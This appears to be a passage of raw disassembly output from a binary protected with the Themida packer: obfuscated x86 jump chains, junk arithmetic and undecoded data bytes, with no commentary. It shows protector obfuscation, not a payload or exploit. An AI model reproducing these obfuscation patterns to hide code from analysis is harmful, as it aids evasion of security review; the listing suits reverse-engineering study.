dword_559078 dd 9D1C77FFh, 14D35966h, 90E99C24h, 0B9FFFF6Eh, 1B0018AFh
; DATA XREF: Themida_:0054FE54o
dd 559C829h, 3D077E0Bh, 0A23E3505h, 2BB32D1Ah, 0D82910CAh
dd 3197E9h
db 0
; ---------------------------------------------------------------------------
loc_5590A5: ; CODE XREF: Themida_:005590DDj
pop edi
xchg ecx, [esp]
pop esp
mov [esp], edi
jmp loc_553B6B
; ---------------------------------------------------------------------------
dw 15Eh
aZs db 'ÑZé~',0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5590BB: ; CODE XREF: Themida_:00561E21j
add esi, 1BE01231h
xor esi, 7BCE74E6h
add ecx, esi
pop esi
jmp loc_55B02C
; ---------------------------------------------------------------------------
db 58h
dd 171BE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5590D6: ; CODE XREF: Themida_:0055D957j
mov edi, 4
sub ecx, edi
jmp loc_5590A5
; ---------------------------------------------------------------------------
loc_5590E2: ; CODE XREF: Themida_:0055B194j
add edi, 57BC0D62h
shr edi, 6
not edi
sub edi, 3E2B7004h
sub edi, 0A8932B22h
sub ecx, edi
pop edi
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, 6656ACAh
jmp loc_5524A4
; ---------------------------------------------------------------------------
loc_559110: ; CODE XREF: Themida_:005507AAj
xchg ecx, [esp]
pop esp
add esp, 4
jmp loc_55EB55
; ---------------------------------------------------------------------------
dd 0D494E952h, 0E958FFFFh, 0C37Ch, 73E988B3h, 0B4000090h
dd 58E58831h, 7951E9h, 56F90100h, 0CE1160BEh, 0E6814652h
dd 0D0B60D5h, 6190F681h, 0F1292DB7h, 5D01E95Eh, 89570000h
dd 4C781E7h, 81000000h, 4C7h, 0B94E900h, 57510000h, 4BFh
dd 5FF98900h, 8359CA01h, 148704C2h, 83555C24h, 1C8904ECh
dd 0DBCDE924h, 8142FFFFh, 0E21A67F2h, 50BB5350h, 31B7429Ah
dd 46E95BDAh, 0FF000098h, 48B2434h, 59545124h, 0FF8A33E9h
dd 17E981FFh, 550D4826h, 0A96D14BDh, 7D72E934h, 2C890000h
dd 0DAA56824h, 315D6E7Fh, 0B027E9EAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5591CE: ; CODE XREF: Themida_:00557170j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_554DA9
; ---------------------------------------------------------------------------
db 2Dh, 8Ch, 0C9h
dd 0C529FD68h, 5176E9h, 24248B00h, 24040966h, 6D1DE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5591FA: ; CODE XREF: Themida_:00553BE4j
neg ebx
dec ebx
jmp loc_55627F
; ---------------------------------------------------------------------------
dw 0EA31h
dd 0DBCA815Dh, 816C9D5Bh, 47BEABC2h, 45CD2DE5h, 0D0016FBAh
dd 0BA45CD05h, 11E95A6Fh, 3300001Eh, 248B2404h, 4C48124h
dd 0D3000000h, 0E0E92424h, 81FFFF6Ch, 5F0DA1E9h, 0C335822h
dd 240C3124h, 1684E9h, 24148B00h, 4C481h, 75680000h, 8900006Ch
dd 0ECE9242Ch, 55000025h, 2900BE56h, 0EEC10680h, 4ED6F703h
dd 58DCC681h, 0F68167DEh, 3CE3076Dh, 0A3F4E9h, 4896600h
dd 6C91E924h, 0CA81FFFFh, 65D65E8Fh, 9D10E9h, 4EC8100h
dd 89000000h, 96E9242Ch, 68FFFFC3h, 6AC3h, 89241489h, 4EC81E2h
dd 89000000h, 0E956240Ch, 0FFFFF607h
; ---------------------------------------------------------------------------
loc_5592B8: ; CODE XREF: Themida_:005615B3j
xor ecx, [esp]
mov esp, [esp]
push eax
sub dword ptr [esp], 0AA8645Ah
push dword ptr [esp]
jmp loc_557027
; ---------------------------------------------------------------------------
dw 2B9h
dd 0E9000000h, 0FFFFABB9h, 2958C201h, 0F5015AD6h, 0E924348Bh
dd 49Ah, 24048966h, 0E130FBB4h, 0BC685866h, 0E9000021h
dd 0AD64h, 4244C29h, 4246C81h, 7ACC70AAh, 350FE9h, 0DDBB5300h
dd 0E94FBD3Fh, 5F24h, 0BE243489h, 0FF90ADABh, 0FFABB1E9h
dd 240489FFh, 0EC804DB4h, 0F6CCFE01h, 0CCB252D4h, 0C2FED2F6h
dd 0AB1FE9h, 24048700h, 3124248Bh, 0E99C2404h, 0FFFF6BCBh
dd 0BB241C89h, 4BE15653h, 2414F753h, 4BD3F75Bh, 0C381D3F7h
dd 4BE15657h, 0D7E9DA01h
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55936B: ; CODE XREF: Themida_:0055E3B9j
push ebx
push ecx
mov ecx, 15E475FBh
add [esp+4], ecx
pop ecx
jmp loc_555747
; ---------------------------------------------------------------------------
loc_55937C: ; CODE XREF: Themida_:00550E2Aj
add eax, edi
jmp loc_55D619
; ---------------------------------------------------------------------------
db 29h
dd 0B1B7E9D1h, 2B9FFFFh, 81000000h, 0C9657CC6h, 2B78E935h
dd 4870000h, 81565C24h, 4ECh, 240C8900h, 8B5D565Eh, 61E92434h
db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5593B3: ; CODE XREF: Themida_:00555887j
pop edi
push ebx
mov ebx, 2
sub eax, ebx
pop ebx
jmp loc_55BE50
; ---------------------------------------------------------------------------
loc_5593C2: ; CODE XREF: Themida_:00551D69j
pop edx
mov ch, 0Ah
xor ch, bl
mov ebx, [esp]
jmp loc_56172A
; ---------------------------------------------------------------------------
db 0FFh
dd 48B2434h, 4C48324h, 44D668h, 24348900h, 0C681E689h
dd 4, 70DF68h, 24048900h, 0C974E955h, 0FFB9FFFFh, 1FFFFFFh
dd 0EA8159CAh, 1, 429AE281h, 0EA812AE3h, 0FFFFFFFFh, 0CFEBB951h
dd 0CA29A2D8h, 0A347E9h, 4BE5600h, 29000000h, 69D5E9F0h
dd 0C6830000h, 24348704h, 8768E9h
db 0
; ---------------------------------------------------------------------------
loc_559435: ; CODE XREF: Themida_:0055A4C2j
shr eax, 18h
xor eax, ecx
sub esp, 4
mov [esp], eax
jmp loc_55BA67
; ---------------------------------------------------------------------------
dd 0FE8DB551h, 4AC580C5h, 92E9EE08h, 83FFFF76h, 148704C2h
dd 0B4E95C24h
db 6Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_560EEE
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4C28100h, 87000000h, 8F5C2414h, 0DF682404h, 0E900003Bh
dd 0FFFF9DE9h, 59C8895Eh, 4B56B951h, 0E1816060h, 543F5C6Fh
dd 0A3E1E941h, 1C89FFFFh, 4EC8124h, 89000000h, 0E6892434h
dd 4C681h, 0EE830000h, 8B88E904h, 34FF0000h, 3E685B24h
dd 8900007Bh, 5B54241Ch, 3F8268h, 243C8900h, 0FF708EE9h
dd 815D54FFh, 4C5h, 0BF575300h, 0B1D37A6h, 975DE955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5594EA: ; CODE XREF: Themida_:00559561j
push edx
not byte ptr [esp+1]
pop edx
dec dh
not dh
jmp loc_556800
; ---------------------------------------------------------------------------
db 57h, 0E9h, 37h
dd 8BFFFFBFh, 14892424h, 124AE924h, 54510000h, 51685259h
dd 89000059h, 11B82404h, 551A8A26h, 360130BDh, 0C8CD8123h
dd 4D14C75Ah, 1545C581h, 0D5F70B2Dh, 96FBB53h, 0C381238Dh
dd 1CA904A6h, 0B38AE9h, 5AD58900h, 1BB53h, 0DD290000h
dd 4EC815Bh, 0E9000000h, 0D14h
; ---------------------------------------------------------------------------
loc_559558: ; CODE XREF: Themida_:005602AEj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_5594EA
; ---------------------------------------------------------------------------
dw 0EEC1h
dd 8C68106h, 89FF4887h, 0EE815EF2h, 0A093663h, 0C681D629h
dd 0A093663h, 5A2434FFh, 4C481h, 0B8E90000h, 5CFFFFECh
dd 68241C89h, 4887h, 0FFBA0BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55959D: ; CODE XREF: Themida_:0055B92Fj
mov ebp, esp
push ebx
mov ebx, esp
jmp loc_551DC3
; ---------------------------------------------------------------------------
loc_5595A7: ; CODE XREF: Themida_:00558AE4j
push ebp
mov ebp, 0B7E04C7h
jmp loc_557AA7
; ---------------------------------------------------------------------------
dw 0BA52h
dd 23D74E77h, 6446CA81h, 0E9421332h, 0FFFF8F3Dh
; ---------------------------------------------------------------------------
loc_5595C4: ; CODE XREF: Themida_:00561E6Aj
sub esp, 4
jmp loc_563AA7
; ---------------------------------------------------------------------------
db 88h
dd 0D2F658E2h, 0D5E9D2F6h, 0F60000BBh, 3E4C0DCh, 0C480D4F6h
dd 58E32076h, 0F6F9C380h, 6EB551DBh, 0B353DDF6h, 0BEB8006h
dd 8005EB80h, 0CB803AF3h, 4EBC0C0h, 0E9D1EB80h, 0A6D1h
dd 5351E289h, 99F4E9h, 7B546800h, 4890000h, 1589E924h
dd 0BF570000h, 4, 0FFA9E2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55962D: ; CODE XREF: Themida_:00552F15j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_560E99
; ---------------------------------------------------------------------------
dd 4B8h, 0C0EE8100h, 10C531Eh, 0C0C681C6h, 580C531Eh, 3048BF57h
dd 0EE95986h
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559657: ; CODE XREF: Themida_:00553938j
mov ebx, [esp]
add esp, 4
xchg eax, esi
not eax
jmp loc_555A4E
; ---------------------------------------------------------------------------
aS_7 db '[齺',0
db 0
; ---------------------------------------------------------------------------
loc_55966B: ; CODE XREF: Themida_:00563834j
mov edi, 4
jmp loc_55A0A2
; ---------------------------------------------------------------------------
byte_559675 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:0054FDD4o
dd 0FF689AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55967D: ; CODE XREF: Themida_:00564F0Cj
xor [esp], ecx
xor ecx, [esp]
jmp loc_55D1C6
; ---------------------------------------------------------------------------
dd 4EC81h, 4890000h, 7403B824h, 22256F20h, 520AC51h, 4EB4983h
dd 0F4667A35h, 58C529DAh, 8104EDC1h, 0A3D32E5h, 10E95272h
dd 3300000Eh, 3C31243Ch, 243C3324h, 8924248Bh, 2F682404h
dd 585AD262h, 0D2622FBBh, 2AEB815Ah, 29556027h, 42C0E9C3h
dd 0D8F70000h, 5F615635h, 58C301AEh, 4C381h, 1C330000h
dd 241C3124h, 5C241C33h, 35A068h, 240C8900h, 582434FFh
dd 0FF04C483h, 34FF2434h, 4E95924h
db 6Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559713: ; CODE XREF: Themida_:0055245Aj
sub esi, 7FCF52F2h
mov ecx, [esp]
add esp, 4
mov ebp, esi
jmp loc_55F629
; ---------------------------------------------------------------------------
dw 2C87h
dd 48F5C24h, 24248B24h, 0FFFB48E9h, 59CE01FFh, 73ED81h
dd 0F5014970h, 73C581h, 348B4970h, 5ECAE924h, 248B0000h
dd 0BE52E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559756: ; CODE XREF: Themida_:0056337Fj
shr ecx, 2
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_556E41
; ---------------------------------------------------------------------------
loc_55976A: ; CODE XREF: Themida_:005545F8j
add bl, dh
pop dx
add bl, 99h
jmp loc_55FF6B
; ---------------------------------------------------------------------------
word_559776 dw 81ADh ; DATA XREF: Themida_:0054FEA0o
dd 4ECh, 0ABE8E900h, 0C4810000h, 4, 2E67BB53h, 0E3816177h
dd 66492DFDh, 6E3DF381h, 0DD092D07h, 0E94D4D5Bh, 0B99Bh
dd 0EE81DEF7h, 96FFD6E9h, 355EF029h, 79DC791h, 48BC629h
dd 4C48324h, 0FF9FD3E9h, 244401FFh, 0E95B5804h, 0FFFFF680h
; ---------------------------------------------------------------------------
loc_5597CC: ; CODE XREF: Themida_:0055409Cj
shr edx, 3
push esi
mov esi, 1C156DA8h
jmp loc_56189C
; ---------------------------------------------------------------------------
loc_5597DA: ; CODE XREF: Themida_:00555398j
push dword ptr [esp]
pop eax
add esp, 4
push edx
sub esp, 4
mov [esp], ebp
push dword ptr [esp]
pop edx
jmp loc_5630B9
; ---------------------------------------------------------------------------
db 31h, 34h, 24h
dd 5C243433h, 0C381FB29h, 0EED003Bh, 0AF6FE95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559806: ; CODE XREF: Themida_:00555136j
add edx, 20FD1C10h
add edx, eax
sub edx, 20FD1C10h
pop eax
push eax
mov eax, 4
jmp loc_558896
; ---------------------------------------------------------------------------
dd 15AD329h, 0D9C381D3h, 0E94B3364h, 5159h, 89240C89h
dd 4C181E1h, 83000000h, 0C8704C1h, 0D6E95C24h, 50FFFFFBh
dd 4114E9h
db 0
; ---------------------------------------------------------------------------
loc_55984D: ; CODE XREF: Themida_:0055D386j
add eax, ecx
pop ecx
jmp loc_559C75
; ---------------------------------------------------------------------------
byte_559855 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FD14o
dd 8B2434FFh, 0C483240Ch, 4C48104h, 68000000h, 2875h, 0E9243C89h
dd 9AFEh, 8041C680h, 6859FDEEh, 59D8h, 0B7241C89h, 51C7FED7h
dd 52665AB1h, 0D6F6CE88h, 5A66F188h, 0FFA03BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559899: ; CODE XREF: Themida_:00560CCFj
push 3E6Fh
mov [esp], eax
jmp loc_55B153
; ---------------------------------------------------------------------------
dw 248Bh
dd 0C8856624h, 6665E99Ch, 0BA52FFFFh, 6EA4BE3h, 76CAF281h
dd 0CA817268h, 13FE3CCAh, 990AE9h
db 0
; ---------------------------------------------------------------------------
loc_5598C9: ; CODE XREF: Themida_:00559BC3j
pop esp
shr eax, 0Ch
xor eax, ecx
jmp loc_563504
; ---------------------------------------------------------------------------
dd 8704C783h, 0E95C243Ch, 0FFFF6637h, 0BE243489h, 1, 815EF201h
dd 80B680EAh, 245401E1h, 1CE95A04h, 0D2FFFF66h, 0E99C242Ch
dd 0FFFF6613h, 4ED81h, 2C870000h, 34895C24h, 4BE24h, 11680000h
dd 0E9000075h, 0FFFF85D1h
; ---------------------------------------------------------------------------
loc_559920: ; CODE XREF: Themida_:0055A29Cj
or edx, 2A5A5CACh
add edx, 99B14B43h
mov eax, edx
pop edx
sub edi, eax
pop eax
xor eax, edi
pop edi
push ecx
jmp loc_5634BD
; ---------------------------------------------------------------------------
db 89h
dd 0EC81240Ch, 4, 7E0E9h, 88505A00h, 0E9E688ECh, 0FFFF6BA6h
dd 5EBB535Bh, 0E9740536h, 0FFFFD9D4h, 7DE6CA81h, 1AE90F2Ah
db 8Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55996B: ; CODE XREF: Themida_:00554670j
add edi, 4
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_562E55
; ---------------------------------------------------------------------------
loc_559985: ; CODE XREF: Themida_:00558E02j
add edx, 1
push edi
mov edi, 0B5129676h
sub edx, edi
mov edi, [esp]
add esp, 4
jmp loc_5607A3
; ---------------------------------------------------------------------------
loc_55999E: ; CODE XREF: Themida_:00557007j
add edi, 2
xchg edi, [esp]
mov esp, [esp]
sub bx, ax
jmp loc_5600E9
; ---------------------------------------------------------------------------
db 0BAh
dd 17AB0572h, 0FFAF9BE9h, 0C8B5FFFh, 6728E924h, 0ADBDFFFFh
dd 29B07E29h, 0C6815DEBh, 592A46B6h, 0EE81DE29h, 592A46B6h
dd 1FF3E95Bh, 8B660000h, 0F5682404h, 8900007Bh, 3168240Ch
dd 81000012h, 4ECh, 24248900h, 4240483h, 6824048Fh, 6B23h
dd 0E9240489h, 0FFFF956Fh
; ---------------------------------------------------------------------------
loc_559A0C: ; CODE XREF: Themida_:0055DC7Dj
mov ebp, [esp]
jmp loc_55D348
; ---------------------------------------------------------------------------
loc_559A14: ; CODE XREF: Themida_:00561FF3j
pop dword ptr [esp]
pop esp
sub eax, 1B072DDBh
add eax, ecx
jmp loc_553825
; ---------------------------------------------------------------------------
dd 0E9241C33h, 0FFFFC383h, 0CB0DC581h, 0C68196DEh, 5168127Bh
dd 6F5CEE81h, 0EE014A3Fh, 6F5CC681h, 0EE814A3Fh, 5168127Bh
dd 5B36E9h
db 0
; ---------------------------------------------------------------------------
loc_559A51: ; CODE XREF: Themida_:00558B94j
dec eax
add eax, 17490E38h
sub eax, 0D3270B28h
jmp loc_560677
; ---------------------------------------------------------------------------
db 29h, 4Ch, 24h
dd 7DE95904h, 0B9FFFFE6h, 67672296h, 0FFEA5EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559A75: ; CODE XREF: Themida_:00555191j
pop edi
sub edx, 1ECC3773h
add edx, ecx
jmp loc_557B8C
; ---------------------------------------------------------------------------
loc_559A83: ; CODE XREF: Themida_:0055F28Aj
pop ecx
push ebx
mov ebx, esp
jmp loc_560A9F
; ---------------------------------------------------------------------------
loc_559A8C: ; CODE XREF: Themida_:005566BCj
add edx, 7E9F22AAh
and edx, 7FB4555Bh
shl edx, 7
add edx, 249D1FDFh
jmp loc_55B3B0
; ---------------------------------------------------------------------------
dw 0C083h
dd 0A9E95301h, 81000010h, 4C1h, 4C18100h, 0E9000000h, 0FFFF85C7h
dd 5FC1BE56h, 0E94E634Eh, 0FFFFEA2Dh, 14DEB850h, 0F2353CC6h
dd 2D3A0538h, 0F81E157Ch, 4D58C531h, 0ED81D5F7h, 0E942FB02h
dd 54BFEA81h, 0EA017AE7h, 54BFC281h, 505D7AE7h, 4036E6B8h
dd 48D8F712h, 9B2A0B35h, 0AC4682Dh, 3C890000h, 1473BF24h
dd 0B8E97AD8h, 0BF00005Dh, 2026D108h, 0E95FF831h, 0FFFF914Dh
; ---------------------------------------------------------------------------
loc_559B24: ; CODE XREF: Themida_:00558781j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
or ebx, ebx
jmp loc_5646A7
; ---------------------------------------------------------------------------
dd 2F33E1BBh, 245C2957h, 44815B0Ch, 68EE0824h, 148B4636h
dd 4C48124h, 8B000000h, 0C483241Ch, 242C8104h, 21A01877h
dd 0B9240481h, 11C0D55h, 2C812404h, 0D55B924h, 2404811Ch
dd 21A01877h, 8904EC83h, 0CFE9240Ch
db 12h, 2 dup(0)
byte_559B7F db 66h ; DATA XREF: Themida_:0054FD28o
dd 66627668h, 665A4A68h, 66242489h, 2240481h, 48F6600h
dd 65686624h, 0C89662Fh, 2B96624h, 0E9536600h, 6E7Fh
; ---------------------------------------------------------------------------
loc_559BA8: ; CODE XREF: Themida_:00558BBCj
add esp, 4
push edi
push esp
pop edi
add edi, 4
push ebp
jmp loc_5514D6
; ---------------------------------------------------------------------------
loc_559BBA: ; CODE XREF: Themida_:00554855j
add edx, 4
xchg edx, [esp]
jmp loc_5598C9
; ---------------------------------------------------------------------------
loc_559BC8: ; CODE XREF: Themida_:005551ACj
mov esi, 4A043030h
inc esi
neg esi
jmp loc_560717
; ---------------------------------------------------------------------------
db 52h, 0FFh, 74h
dd 8F5A0424h, 248B2404h, 0CD36624h, 2CE99C24h, 81FFFF63h
dd 4C3h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_559F76
; ---------------------------------------------------------------------------
db 5Dh, 0E9h, 6Eh
dd 89FFFFA0h, 0E389241Ch, 3EF3BD55h, 0E5815E91h, 51FF3A85h
dd 0FFFFBF57h, 0FD29FFFFh, 0F7D5F75Fh, 81D5F7DDh, 0EE5B7BC5h
dd 0BB534D62h, 4F9C770Bh, 0FF9F8AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559C31: ; CODE XREF: Themida_:00553F37j
mov [esp], edi
jmp loc_5630C7
; ---------------------------------------------------------------------------
aPs2d db 'Pé2„',0
dw 5B00h
dd 3B1DE781h, 814F287Fh, 0CB6901E7h, 7517E92Ch, 0ED80FFFFh
dd 1C58001h, 0FEF9B753h, 7E7C0C7h, 5D1CE9h, 66B85000h
dd 1231160h, 0FB0158C3h, 0FF7151E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559C75: ; CODE XREF: Themida_:00559850j
sub eax, 4
xchg eax, [esp]
jmp loc_55A3EE
; ---------------------------------------------------------------------------
aSiSM db 'SˆÃéÎŒ',0
align 4
dd 575AD701h, 42474FFh, 78A5E9h
db 0, 0C3h
word_559C96 dw 77FFh ; DATA XREF: Themida_:0054FC34o
dd 59669D1Ch, 9C2414D2h, 0FF6272E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559CA5: ; CODE XREF: Themida_:00555ADDj
push edx
push edi
jmp loc_560587
; ---------------------------------------------------------------------------
aMrRaHsmi db '¬R²€êHémI',0 ; DATA XREF: Themida_:0054FCF8o
align 4
dword_559CB8 dd 24048B66h, 2B7768h, 242C8900h, 0D692E954h, 0C101FFFFh
; DATA XREF: Themida_:0054FC6Co
dd 3F6368h, 242C8900h, 3510ABBDh, 4EDC16Ah, 83EF581h, 0E9011ED2h
dd 83242C8Bh, 0E98104C4h, 10187697h, 0FFA987E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559CF5: ; CODE XREF: Themida_:00559FA8j
sub dl, cl
pop ecx
push edx
jmp loc_55E7EE
; ---------------------------------------------------------------------------
dw 3C87h
dd 815D5C24h, 837141EDh, 0A11AE909h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559D0E: ; CODE XREF: Themida_:00561DD8j
xor ebx, esi
xor esi, ebx
mov ebx, [esp]
add esp, 4
push eax
mov eax, 66E94537h
or eax, 27F32D44h
add eax, 78AE4F76h
and eax, 0AA02597h
inc eax
sub eax, 0E6E2E827h
jmp loc_5517EB
; ---------------------------------------------------------------------------
loc_559D38: ; CODE XREF: Themida_:0055DEBEj
not edx
add edx, 5E5F6E8Dh
add edx, 1
xor edx, 0EE189ACFh
xor eax, edx
pop edx
add ebx, eax
mov eax, [esp]
add esp, 4
mov dx, [esp]
push eax
mov eax, esp
push 4609h
mov [esp], ecx
jmp loc_5510B3
; ---------------------------------------------------------------------------
dd 68h, 242C2900h, 65F5815Dh, 0D12E6131h, 50564DE5h, 0AA6A67B8h
dd 3515E945h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559D86: ; CODE XREF: Themida_:0054FFDFj
xor eax, ebx
mov ebx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
add ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_5615AD
; ---------------------------------------------------------------------------
loc_559DB2: ; CODE XREF: Themida_:0055003Bj
mov edx, 453A304Fh
push ebx
push ecx
mov ecx, 64F8Ch
jmp loc_556CDC
; ---------------------------------------------------------------------------
db 0BFh
dd 2D7360E7h, 41E9D7F7h
db 38h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559DCF: ; CODE XREF: Themida_:00565111j
inc eax
xchg eax, edx
sub edx, 0AB660FCAh
shl edx, 1
jmp loc_556A29
; ---------------------------------------------------------------------------
loc_559DDE: ; CODE XREF: Themida_:00552384j
sub ebp, eax
pop eax
pop edx
jmp loc_561E90
; ---------------------------------------------------------------------------
db 89h
dd 2DE9241Ch
db 95h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559DEF: ; CODE XREF: Themida_:0056404Dj
sub eax, 73582F87h
shl eax, 5
push esi
mov esi, 1B591D1Fh
and esi, 14F54151h
xor esi, 5E2B5C13h
xor eax, esi
pop esi
or ecx, eax
mov eax, [esp]
add esp, 4
shl ecx, 1
add ecx, 0D8053636h
jmp loc_553605
; ---------------------------------------------------------------------------
loc_559E24: ; CODE XREF: Themida_:00551B58j
mov ebx, 4
add ebp, ebx
pop ebx
push edi
push ebx
mov ebx, 46D7305Fh
mov edi, 46D73063h
sub edi, ebx
pop ebx
sub ebp, edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebx
push edx
mov edx, 1ABB36F4h
jmp loc_55AACB
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 55E18951h, 0E62CBBBDh, 0DDF7450Fh, 5201E9h
db 0
; ---------------------------------------------------------------------------
loc_559E69: ; CODE XREF: Themida_:00559026j
add edx, edi
push esi
mov esi, 619E5B78h
sub edx, esi
push dword ptr [esp]
pop esi
push ebp
mov ebp, esp
jmp loc_55B7A5
; ---------------------------------------------------------------------------
db 68h
dd 2C6h, 50241489h, 6089E99Ch, 0F988FFFFh, 0CF88D1F6h
dd 0C7805966h, 80C7FEC9h, 0F78087CFh, 0EA04B9h, 5BEA2CF8h
dd 0D800E92Ch, 3E2CE904h, 0FFD30BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559EB5: ; CODE XREF: Themida_:0055CEDDj
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_55063D
; ---------------------------------------------------------------------------
db 87h, 3Ch, 24h
dd 2404895Ch, 542722B8h, 2C452571h, 0D8F765F4h, 0FF8D00E9h
dd 240C33FFh, 33240C31h, 0E95C240Ch, 2FE1h
; ---------------------------------------------------------------------------
loc_559EF0: ; CODE XREF: Themida_:005509B9j
pop eax
push 7E80h
jmp loc_552214
; ---------------------------------------------------------------------------
db 89h
dd 91B95FFBh, 29537550h, 0C2815BD9h, 0AAE7940h, 5DB2C281h
dd 0CA014AC6h, 5DB2EA81h, 0EA814AC6h, 0AAE7940h, 0FF84A8E9h
dd 4BDFFh, 0EE290000h, 2434875Dh, 240C895Ch, 0BF57E189h
dd 665D08ECh, 638868h, 241C8900h, 2A0B7EBBh, 8BDF2972h
dd 0C481241Ch, 4, 10A7EF81h, 0C78167C1h, 21C0004Ch, 12F1C781h
dd 0F90151CEh, 81243C8Bh, 4C4h, 0CD5FE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559F76: ; CODE XREF: Themida_:00559BF4j
add ebp, 4
sub ebp, 4
jmp loc_5527C8
; ---------------------------------------------------------------------------
loc_559F84: ; CODE XREF: Themida_:0055E5F2j
add ch, 0B2h
mov edx, [esp]
add esp, 4
push edx
push eax
mov al, 0E1h
xor al, 41h
mov dl, al
pop eax
add dl, 0ECh
and dl, 0E8h
or dl, 9Eh
add dl, 9Eh
push ecx
mov cl, 39h
jmp loc_559CF5
; ---------------------------------------------------------------------------
db 0F6h, 0D9h, 80h
dd 0CA30E3C1h, 0D7885359h, 1C8BFD88h, 4C48324h, 59E8305Ah
dd 0A5686653h, 1489666Eh, 8DB75324h, 0FE304CB6h, 0F088505Bh
dd 0E958C388h, 0FFFFA7D3h, 0F86D10B8h, 5E0D157h, 0E58A6C64h
dd 1DB7E9h, 59F58100h, 5179AD3Eh, 796F88B9h, 0CAC9817Ch
dd 0C1049D40h, 0E98105E9h, 0BEE96FA4h, 0E959CD09h, 5346h
dd 8105E3C1h, 0B1F360EBh, 7BDCE904h, 0D009FFFFh, 0FF79F7E9h
dd 5F07BEFFh, 0DEF77BE4h, 0CFEE8146h, 8170EA70h, 0BB360DF6h
dd 0E9F23163h, 0FFFFF06Eh, 3DF8BB53h, 72E97FBAh
db 70h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A04F: ; CODE XREF: Themida_:005648C6j
mov ebx, 48154DA0h
dec ebx
shr ebx, 2
jmp loc_55BE97
; ---------------------------------------------------------------------------
loc_55A05D: ; CODE XREF: Themida_:0055194Dj
sub eax, ebp
jmp loc_550F6E
; ---------------------------------------------------------------------------
dd 8704C483h, 248B240Ch, 0C8B6624h, 2916824h, 34890000h
dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 0C5AEE95Ch
dd 0E181FFFFh, 502F7389h, 7184E981h, 0CE01500Eh, 88CFE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A0A2: ; CODE XREF: Themida_:00559670j
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55CE45
; ---------------------------------------------------------------------------
dd 2203C281h, 56510F3Fh, 0BA75E6BEh, 0CE81467Ch, 378B3FC2h
dd 658DC681h, 45E9E030h, 310000A9h, 0E9525FFAh, 0FFFFD1A2h
dd 80CDF480h, 0EC8075F4h, 80DCF601h, 70E94BC4h, 0FF00000Ch
dd 535B2434h, 0BD555B54h, 39EF6DD5h, 0F581DDF7h, 3F863FABh
dd 0E581D5F7h, 67AA7FF2h, 6567E581h, 0ED810EA0h, 620405Eh
dd 0E95DEB01h, 58F0h, 8E9C15Ch, 372CE9h, 24248900h, 4240483h
dd 9012E959h, 5455FFFFh, 4C5815Dh, 81000000h, 2EDh, 242C8700h
dd 3489665Ch, 7A686624h, 665E66FCh, 8B66F031h, 0E9532434h
dd 3506h, 0FF5DB2E9h, 5EF321FFh, 42FAB850h, 0E8C13A23h
dd 0A349E905h, 30BDFFFFh, 16D1B11h, 0D1015DE9h, 1130E981h
dd 34FF6D1Bh, 0D7E95A24h, 83FFFF73h, 685004C4h, 0A80h
dd 24048F54h, 4240483h, 40558h, 0EC830000h, 8DBBE904h
dd 34890000h, 0BFB95124h, 813A9B7Ch, 12ED74C1h, 59CE892Fh
dd 807CE9h
db 0
; ---------------------------------------------------------------------------
loc_55A1C5: ; CODE XREF: Themida_:00557A6Dj
pop esi
jmp loc_55BF70
; ---------------------------------------------------------------------------
db 0C1h
dd 0F58105EDh, 54CA15FDh, 1CBE581h, 0BA521177h, 91A4A1EFh
dd 0FFB7BFE9h, 4C481FFh, 66000000h, 4244481h, 0D0E94B93h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A1F7: ; CODE XREF: Themida_:00556A91j
pop ebx
sub ecx, esi
mov esi, [esp]
add esp, 4
push 26BCh
